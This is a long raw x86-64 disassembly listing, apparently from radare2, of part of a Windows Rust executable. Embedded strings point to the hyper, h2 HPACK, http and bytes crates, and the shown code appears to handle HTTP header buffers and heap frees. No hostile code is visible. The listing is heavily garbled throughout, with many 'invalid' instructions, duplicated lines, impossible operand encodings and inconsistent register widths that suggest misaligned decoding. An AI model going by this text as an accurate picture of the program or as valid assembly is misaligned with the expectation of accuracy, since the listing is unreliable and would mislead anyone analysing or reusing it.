mov rdx, qword [rsp + 0x88]
add rax, qword [rdx + 0x40]
mov rbx, qword [rsp + 0xc8]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
lea rdi, [rax + rax*2]
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
test al, al
je 0x14002af93
or al, 0xf8
cmp al, 0xf9
jbe 0x14002b9fa
cmp rbx, 0x3f
jae 0x14002afc9
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002afc1
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
invalid
mov rcx, qword [rsp + 0x68]
and al, 0x68
invalid
and al, 0x68
push 0xffffffffe940cb80
or bl, 0x40
jmp case.0x14002b679.28
xlatb
add byte [rax], al
invalid
xlatb
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x60
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
cmp rcx, rax
jne 0x14002aff1
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
invalid
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x7f
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aeb1
add rbx, 0xffffffffffffffc1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002b07d
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002b043
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aeb1
mov qword [rsp + 0x60], rax
mov rcx, rbx
shr rcx, 7
cmp rbx, 0x3fff
mov rbx, rcx
ja 0x14002b020
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne case.0x14002b679.28
invalid
sbb dword [rdx + 1], edi
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
pop rax
mov byte [rdx + rax], bl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
enter 0xffffffffffff870f, 0xffffffffffffffc8
invalid
add byte [rax], al
enter 0xffffffffffff870f, 0xffffffffffffffc8
invalid
mov qword [rsp + 0x60], rax
and al, 0x60
mov rbx, r14
lea rcx, [rsi + rdi]
add rcx, 0x10
rcl dword [rax], 0xe8
fist word [rbx]
add byte [rax], al
rcl dword [rax], 0xe8
fist word [rbx]
add byte [rax], al
mov rcx, rax
lea r8, [rsp + 0x58]
pop rax
pop rax
call fcn.14002c8e0
add bl, byte [rax]
add byte [rax], al
mov rdi, qword [rsp + 0xb0]
add byte [rax], al
mov r14, rbp
jmp 0x14002b300
invalid
add byte [rbp - 0x77], cl
in al, dx
mov r12, r13
mov r13, r14
mov rdi, rbx
mov esi, 5
add byte [rax - 0x73], cl
sbb eax, 0xe8a99
mov cl, byte [rsi]
invalid
add byte [rax - 0x73], cl
sbb eax, 0xe8a99
mov cl, byte [rsi]
invalid
mov cl, byte [rsi]
add cl, ch
fiadd dword [rax]
add byte [rax], al
jmp 0x14002b1e2
mov r12, r13
mov esp, ebp
mov r13, r14
cmc
mov rdi, rbx
lea rbx, [0x140113b8e]
add cl, ch
invalid
add byte [rax], al
invalid
add cl, ch
invalid
add byte [rax], al
add byte [rbp - 0x77], cl
in al, dx
mov r12, r13
mov esp, ebp
mov r13, r14
mov rdi, rbx
lea rbx, [0x140113b95]
push 0xffffffffe9000e8a
mov al, 0
add byte [rax], al
push 0xffffffffe9000e8a
mov cl, byte [rsi]
add cl, ch
invalid
mov al, 0
add byte [rax], al
mov r12, r13
mov esp, ebp
mov r13, r14
mov ebp, esi
mov rdi, rbx
mov esi, 0xa
or al, byte [rax]
add byte [rax], al
fistp qword [rsi + 0xa]
or al, byte [rax]
add byte [rax], al
lea rbx, [0x140113b84]
invalid
add cl, ch
xchg esi, eax
add byte [rax], al
add byte [rbp - 0x77], cl
in al, dx
jmp 0x14002b1e2
mov r12, r13
mov r13, r14
mov rdi, rbx
mov esi, 9
or dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0xe8a40
lea rbx, [0x140113ba1]
jmp 0x14002b1e2
jg case.0x140028996.132
mov r12, r13
mov esp, ebp
in al, dx
mov r13, r14
mov rdi, rbx
mov edi, ebx
lea rbx, [0x140113baa]
sbb eax, 0xe8a37
invalid
jmp 0x14002b1e2
insd dword [rdi], dx
mov edx, 5
lea rcx, [0x140113b9c]
invalid
invalid
add eax, 0x48000000
lea ecx, [0x140113b9c]
invalid
invalid
add byte [rax - 0x73], cl
or eax, 0xe8a1b
invalid
invalid
invalid
jmp 0x14002b2cf
add qword [r8], rax
add byte [rax - 0x73], cl
lea rcx, [0x140113b8e]
lea rcx, [0x140113b8e]
invalid
jmp 0x14002b2cf
add byte [rax], al
lea rcx, [0x140113b95]
lea ecx, [0x140113b95]
cld
mov dword [rsi], ecx
add cl, ch
xor dword [rcx], eax
add byte [rax], al
invalid
jmp 0x14002b2cf
add byte [rdx + 0xa], bh
mov edx, 0xa
lea rcx, [0x140113b84]
lea ecx, [0x140113b84]
mov dword [rsi], ecx
add cl, ch
and byte [rcx], al
add byte [rax], al
jmp 0x14002b2cf
mov edx, 9
lea rcx, [0x140113ba1]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xe89e6
jmp 0x14002b2cf
lea rcx, [0x140113baa]
jmp 0x14002b2cf
add dword [rax], eax
add byte [rbp - 0x77], cl
cmc
mov r13, r14
movzx ecx, byte [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
call fcn.14002e9e0
mov rbx, rax
mov ebx, eax
mov rsi, rdx
lea rcx, [rsp + 0xc8]
call case.0x14002a151.60
mov r14, rax
mov r15, rdx
movzx eax, byte [rsp + 0x108]
test al, al
je 0x14002b23a
or al, 0xf8
cmp al, 0xfa
jae 0x14002b23a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne case.0x14001e2cd.275
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x10
jmp 0x14002b26b
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002b262
mov edx, 1
lea rcx, [rsp + 0x58]
and al, 0x58
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
inc eax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aeb1
invalid
add byte [rax], al
invalid
mov qword [rsp + 0x60], rax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x58]
mov r8, rsi
call fcn.14002c8e0
mov rcx, r14
invalid
mov ecx, esi
mov rdx, r15
mov r8, rsi
call fcn.14002c8e0
mov rbx, rdi
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
mov r14, r13
mov r13, r12
mov r12, rbp
jmp 0x14002b300
movzx ecx, byte [rsi + 8]
call fcn.14002e9e0
mov rcx, rax
lea rdi, [rsp + 0x58]
mov r8, rdi
call fcn.14002c8e0
mov rcx, rsi
call case.0x14002a151.60
mov rcx, rax
mov r8, rdi
call fcn.14002c8e0
mov rdi, qword [rsp + 0xb0]
nop word [rax + rax]
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1b0], rax
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x100], al
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x100], al
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0xc0]
add byte [rdi], cl
adc byte [rsp + 0xd0], cl
add byte [rdi], cl
adc byte [rsp + 0xd0], cl
movups xmm2, xmmword [rsp + 0xe0]
movups xmm3, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x190], xmm3
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x180], edx
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x180], edx
and al, 0x80
add dword [rax], eax
add byte [rdi], cl
movaps xmmword [rsp + 0x170], xmm1
sub dword [rsp + 0x170], ecx
add byte [rdi], cl
sub dword [rsp + 0x160], eax
and al, 0x60
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x160], xmm0
mov eax, 8
mov rcx, qword [rsp + 0x480]
cmp rcx, 5
ja case.default.0x14002b38d
jle 0x14002b34b
invalid
invalid
jle 0x14002b34b
invalid
lea rdx, [0x140172f94]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov rsi, qword [rsp + 0x448]
jmp rcx
mov eax, 0x10
jmp case.0x14002b38d.4
mov eax, 0x32
jmp 0x140029425
mov eax, 0x2f
jmp 0x140029425
mov cl, 2
jmp 0x14002942c
mov eax, 0x10
jmp 0x140029425
mov r13, qword [rsp + 0x2a8]
mov r12, qword [rsp + 0x2b0]
mov rbx, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2c0]
lea rbp, [rsp + 0x188]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0xb0], rax
lea r14, [rsp + 0x1a0]
mov rdi, qword [rsp + 0x2d8]
jmp 0x14002b46c
mov r12, qword [rax + 0x18]
mov r13d, 1
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x160], 0
mov rcx, qword [rax + 0x40]
mov qword [rbp + 0x20], rcx
movups xmm0, xmmword [rax + 0x20]
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
mov rax, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x198]
mov rcx, r14
call qword [rax + 0x10]
test r13, r13
je 0x14002b490
cmp r12, rbx
jae 0x14002b872
lea rcx, [r12 + r12*8]
lea rax, [rsi + rcx*8]
cmp qword [rsi + rcx*8 + 0x10], 0
jne 0x14002b410
xor r13d, r13d
jmp 0x14002b41a
cmp rdi, qword [rsp + 0xb0]
je 0x14002b561
lea r15, [rdi + 0x68]
mov qword [rsp + 0x2d8], r15
mov r13, qword [rdi]
mov r12, qword [rdi + 8]
movups xmm0, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0xc0], xmm0
cmp r13, 2
je case.0x14008c40b.507
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x160], 1
movups xmm0, xmmword [rdi + 0x40]
movups xmm1, xmmword [rdi + 0x50]
lea rax, [rsp + 0x168]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [rsp + 0xc8]
mov rax, qword [rcx + 0x20]
mov qword [rbp + 0x20], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
mov rax, qword [rsp + 0x168]
test rax, rax
test eax, eax
test eax, eax
je 0x14002b559
mov rdx, qword [rsp + 0x170]
mov r8, qword [rsp + 0x178]
mov eax, dword [rsp + 0x178]
mov eax, dword [rsp + 0x178]
lea rcx, [rsp + 0x180]
call qword [rax + 0x10]
mov rdi, r15
jmp 0x14002b44e
mov qword [rsp + 0x2c8], 0
add byte [rax], al
jmp 0x14002b5e5
mov r8, qword [rsp + 0xb0]
mov rax, r8
sub rax, r15
movabs rcx, 0x4ec4ec4ec4ec4ec5
mul rcx
mov qword [rsp + 0x2c8], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39], cl
cmp eax, edi
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39], cl
cmp eax, edi
cmp eax, edi
je 0x14002b5e5
mov rbx, rdx
mov ebx, edx
shr rbx, 5
add rdi, 0xc0
jmp 0x14002b5cc
invalid
lea rcx, [rdi - 0x28]
mov rax, qword [rdi - 0x40]
fmul dword [rax - 0x75]
ror byte [r8 - 0x75], 0x57
mov rdx, qword [rdi - 0x38]
mov r8, qword [rdi - 0x30]
call qword [rax + 0x10]
invalid
invalid
invalid
mov rdx, qword [rdi - 0x38]
mov r8, qword [rdi - 0x30]
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
dec ebx
dec ebx
je 0x14002b5e5
mov rax, qword [rdi - 0x18]
test rax, rax
je 0x14002b5b0
invalid
call 0x1b4c33b1c
fisttp dword [rax - 0x75]
push rdi
invalid
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x14002b5b0
retf
retf
cmp qword [rsp + 0x2e0], 0
cmp dword [rsp + 0x2e0], 0
add byte [rax], al
add byte [rdi + rdx + 0x4c], dh
mov r8, qword [rsp + 0x2d0]
je 0x14002b607
mov r8, qword [rsp + 0x2d0]
mov rcx, qword [0x14017d208]
or dword [rdx - 0x2dcf00], ebx
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0xe3df9
cmp eax, 0x8b48000e
pushfq
and al, 0xc8
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
mov rbx, qword [rsp + 0x2c8]
test rbx, rbx
je 0x14002b63b
lea rdi, [rsi + 0x38]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
push rax
adc byte [rax - 0x7d], cl
invalid
dec rbx
jne case.0x14002aeb1.28
push rax
adc byte [rax - 0x7d], cl
invalid
cmp qword [rsp + 0x2b8], 0
je 0x14002b658
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test al, 0x3d
invalid
mov eax, 8
mov rcx, qword [rsp + 0x480]
cmp rcx, 5
ja case.default.0x14002b679
add byte [rax - 0x7d], cl
stc
add eax, 0x8d481577
lea rdx, [0x140172fd8]
lea rdx, [0x140172fd8]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov eax, 0x10
lea rcx, [rsp + rax]
add rcx, 0x480
call fcn.14009a0f0
mov rax, qword [rsp + 0x458]
cmp rax, 2
je 0x14002b732
lea rdx, [rsp + 0x470]
mov rsi, qword [rsp + 0x460]
mov rdi, qword [rsp + 0x468]
test rax, rax
je 0x14002b71b
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x470]
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x80]
mov rax, qword [rsp + 0x460]
lock dec qword [rax]
jne 0x14002b732
mov rcx, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x468]
call fcn.1400049d0
jmp 0x14002b732
mov rcx, rsi
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x470]
mov rcx, rsi
call qword [rdi + 0x80]
mov rsi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
test dil, 1
jne 0x14002b753
lea rcx, [0x14014bbf0]
jmp 0x14002b83b
mov r14, qword [rsp + 0x68]
shr rdi, 5
sub rsi, rdi
lea rbx, [rdi + rdx]
cmp rdx, r14
jne 0x14002b78a
test rbx, rbx
je 0x14002b7c1
test sil, 1
jne 0x14002b817
mov rax, rsi
or rax, 1
lea rcx, [0x140126040]
jmp 0x14002b821
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14002bb23
add r14, rdi
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea rcx, [0x140110b88]
jmp 0x14002b821
lea rcx, [0x140110a98]
lea rsi, [0x14016f768]
xor eax, eax
xor ebx, ebx
jmp 0x14002b821
mov r13, rbx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je 0x1400283b0
jmp 0x1400283c9
mov r14, rbx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400285c9
jmp 0x1400285b0
mov r14, rsi
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je 0x1400285b0
jmp 0x1400285c9
lea rcx, [0x140126058]
mov rax, rsi
mov qword [rsp + 0x480], rdi
mov rdx, rbx
sub rdx, rdi
jb 0x14002ba8d
add rsi, rdi
mov rdi, rax
mov rax, qword [rsp + 0x4e0]
mov qword [rax], rcx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdi
sbb byte [rax - 0x7f], cl
invalid
clc
add eax, 0x5d5b0000
pop rdi
pop rsi
pop r12
pop rsp
sbb byte [rax - 0x7f], cl
invalid
pop rsp
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
lea eax, [0x140112b38]
invalid
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r12
mov rdx, rbx
call fcn.140104670
lea rax, [rsp + 0x80]
mov qword [rsp + 0x210], rax
and al, 0x10
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfffe73f5
and al, 0x10
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfffe73f5
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x68]
lea ecx, [rsp + 0x68]
lea ecx, [rsp + 0x68]
mov qword [rsp + 0x220], rcx
mov qword [rsp + 0x228], rax
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x112c39
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x112c39
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov qword [rsp + 0x180], 0
add byte [rcx], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0x170], eax
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rcx], 0
add byte [rcx], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0x170], eax
mov qword [rsp + 0x178], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov dword [rsp + 0x170], eax
mov qword [rsp + 0x178], 2
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x160]
call fcn.140104620
lea rcx, str.Out_of_bounds_access_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
add byte [rax], al
add al, ch
invalid
xchg ecx, eax
invalid
invalid
add byte [rax], al
add al, ch
cmp dword [rcx - 0x72b7fff3], edx
or eax, 0x110a22
lea rcx, str.Out_of_bounds_access_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140104a60
lea rcx, str.Out_of_bounds_access_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140104a60
lea rcx, [0x140112f80]
lea r8, [0x140113028]
mov edx, 0x43
call fcn.140104d10
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x160], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
lea rax, [0x14013e4f8]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 2
mov qword [rsp + 0x2c8], 0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x2a8]
call fcn.140104620
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x140113080]
mov edx, 0x28
call fcn.1401046f0
lea rcx, str.Out_of_bounds_access_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140104a60
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x140113068]
mov edx, 0x28
call fcn.1401046f0
lea rcx, str.Out_of_bounds_access_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140104a60
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rcx, r14
mov rdx, rbx
call fcn.140104660
mov ecx, 8
mov edx, 0xc0
call fcn.140104360
mov ecx, 8
mov rdx, r15
call fcn.140104360
call fcn.140010910
mov qword [rsp + 0xc0], rbx
lea rax, [rsp + 0x480]
mov qword [rsp + 0x160], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 2
mov qword [rsp + 0x2c8], 0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x2a8]
call fcn.140104620
mov ecx, 8
mov edx, 0x18
call fcn.140104380
int3
mov rcx, rdi
call fcn.14009a0f0
add rdi, 0x60
add edi, 0x60
add edi, 0x60
dec r14
jne 0x14002bde0
mov qword [rsi + 0x28], 0
mov qword [rsi + 0x40], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
int3
int3
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xf0
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0x40
test al, al
je 0x14002be9a
or al, 0xf8
cmp al, 0xfa
cli
cli
jae 0x14002be9a
cmp bpl, 2
jne 0x14002c067
mov rax, qword [r15 + 0x40]
mov qword [rsi + 0x48], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
and byte [rcx + 0xf], al
adc byte [rdi + 0x30], bl
and byte [rcx + 0xf], al
adc byte [rdi + 0x30], bl
movups xmmword [rsi + 0x38], xmm3
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
sbb byte [rdi], cl
adc dword [rsi + 8], eax
sbb byte [rdi], cl
adc dword [rsi + 8], eax
mov eax, 4
jmp 0x14002c0b4
mov rbx, qword [rsp + 0xe8]
mov r13, qword [rsp + 0xe0]
mov rcx, r15
pushfq
and al, 0xe8
add byte [rax], al
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xe0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
call fcn.14001d8a0
add qword [r14 + 0x48], rax
mov rcx, r14
xor edx, edx
call fcn.14002c0f0
add al, byte [rax]
invalid
add byte [rax], al
test r13, r13
je 0x14002bf22
test al, al
je 0x14002bf22
mov rax, qword [r14 + 0x38]
mov r8, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
push rsi
adc bl, ch
invalid
push rsi
adc bl, ch
adc al, 0x66
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
dec r13
mov rbx, rcx
test r13, r13
je 0x14002bf22
lea rcx, [rbx - 1]
and rcx, rax
cmp rcx, rdx
cmp ecx, edx
jae 0x14002c0c8
lea r9, [rcx + rcx*2]
cmp qword [r8 + r9*8], 0
je 0x14002bee0
lea r9, [r8 + r9*8]
mov r9, qword [r9 + 0x10]
and r9, rax
mov r10, rcx
sub r10, r9
and r10, rax
dec r13
dec ebp
cmp r10, r13
jb 0x14002bee3
mov rax, qword [r15 + 0x40]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [r15]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
xor byte [rdi], cl
adc dword [rsp + 0x60], ebx
movups xmmword [rsp + 0x50], xmm2
movups xmmword [rsp + 0x40], xmm1
inc qword [r14 + 0x40]
inc dword [rsi + 0x40]
movups xmmword [rsp + 0x30], xmm0
mov rax, qword [r14 + 0x18]
mov rcx, qword [r14 + 0x30]
cmp rcx, rax
cmp ecx, eax
jne 0x14002bf74
lea rcx, [r14 + 0x18]
call fcn.14002c410
mov rax, qword [r14 + 0x18]
mov rcx, qword [r14 + 0x30]
mov rdx, qword [r14 + 0x28]
dec rdx
add rax, rdx
cmovae rax, rdx
ret 0x8b49
push rsi
and byte [rcx - 0x77], cl
sub byte [rax - 1], r9b
ror dword [rcx - 0x77], 0x4e
xor byte [rax - 0x73], cl
lea eax, [rax + rax*2]
shl rax, 5
mov qword [rdx + rax], 0
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
adc byte [rsp + 0x38], cl
movups xmm2, xmmword [rsp + 0x48]
movups xmm3, xmmword [rsp + 0x58]
movups xmmword [rdx + rax + 8], xmm0
movups xmmword [rdx + rax + 0x18], xmm1
movups xmmword [rdx + rax + 0x28], xmm2
movups xmmword [rdx + rax + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rdx + rax + 0x48], xmm0
mov qword [rdx + rax + 0x58], rdi
mov rdx, qword [r14 + 0x10]
cmp rbx, rdx
jae 0x14002c0d4
xor ecx, ecx
sub rcx, qword [r14 + 0x40]
mov rax, qword [r14 + 8]
lea r8, [rbx + rbx*2]
mov r9, qword [rax + r8*8]
movups xmm0, xmmword [rax + r8*8 + 8]
mov qword [rax + r8*8], 1
mov qword [rax + r8*8 + 8], rcx
mov qword [rax + r8*8 + 0x10], rdi
cmp r9, 1
jne 0x14002c057
inc rbx
nop dword [rax + rax]
mov rcx, rbx
mov ebx, 0
cmp rcx, rdx
jae 0x14002c020
lea r8, [rcx + rcx*2]
cmp qword [rax + r8*8], 0
mov qword [rax + r8*8], 1
movups xmm1, xmmword [rax + r8*8 + 8]
movups xmmword [rax + r8*8 + 8], xmm0
je 0x14002c057
inc rcx
movaps xmm0, xmm1
mov rbx, rcx
jmp 0x14002c020
cmp bpl, 2
jne 0x14002c0a3
mov eax, 2
xor r12d, r12d
jmp 0x14002c0b0
not bpl
mov qword [rsi + 8], r12
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
adc byte [rdi + 0x20], dl
adc byte [rdi + 0x20], dl
movups xmm3, xmmword [r15 + 0x30]
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
adc dword [rsi + 0x20], ecx
adc dword [rsi + 0x20], ecx
movups xmmword [rsi + 0x30], xmm2
movups xmmword [rsi + 0x40], xmm3
pop rsi
mov rax, qword [r15 + 0x40]
invalid
invalid
pop rsi
mov rax, qword [r15 + 0x40]
invalid
invalid
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x50], rax
and bpl, 1
movzx eax, bpl
jmp 0x14002c0b4
invalid
